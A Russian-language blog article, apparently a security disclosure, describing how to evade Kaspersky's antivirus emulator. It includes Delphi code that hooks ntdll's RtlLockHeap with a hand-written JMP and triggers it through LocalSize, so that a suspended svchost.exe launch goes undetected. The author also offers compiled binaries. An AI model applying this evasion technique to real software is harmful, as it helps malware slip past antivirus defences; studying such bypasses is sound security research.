На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии «облачных сетей» и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.

Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.

Теория


Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.

Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деватьс�� от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.

Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.

Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
image

Практика


В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.

procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
  StartInfo.cb := SizeOf(TStartupInfoA);
  CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;

begin
  ProcessBadCode();
end.


Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызват�� ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
Детекта антивирусом уже не будет.

var
  Initialized : Boolean;
procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет
  begin
    Initialized := True; // посему сделаем переменную, которая будет это контролировать
    ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
    StartInfo.cb := SizeOf(TStartupInfoA);
    CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Sleep(5000); // подождем и завершим запущенный процесс
    TerminateProcess(ProcInfo.hProcess, 0);
    ExitProcess(0); // завершим текущий
  end;
  Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу
end;

procedure ProcessStartCode();
  procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код
  var
    Protect, Stuff : Cardinal;
  begin
    VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
    PByte(AddressFrom)^ := $E9;
    PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
    VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
  end;
var
  NativeFunc : procedure();
begin
  // найдем адрес первой функции
  @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');
  // Поставим там хук переведя исполнение программы на BadCode
  WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
  // Вызовем вторую, которая вызовет первую ...
  LocalSize(0);
end;

begin
  ProcessStartCode();
end.


Выводы


Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…

Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.

В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Пароль на архив — elcrabe.

Выражаю благодарность юзеру gjf за помощь в подготовлении статьи.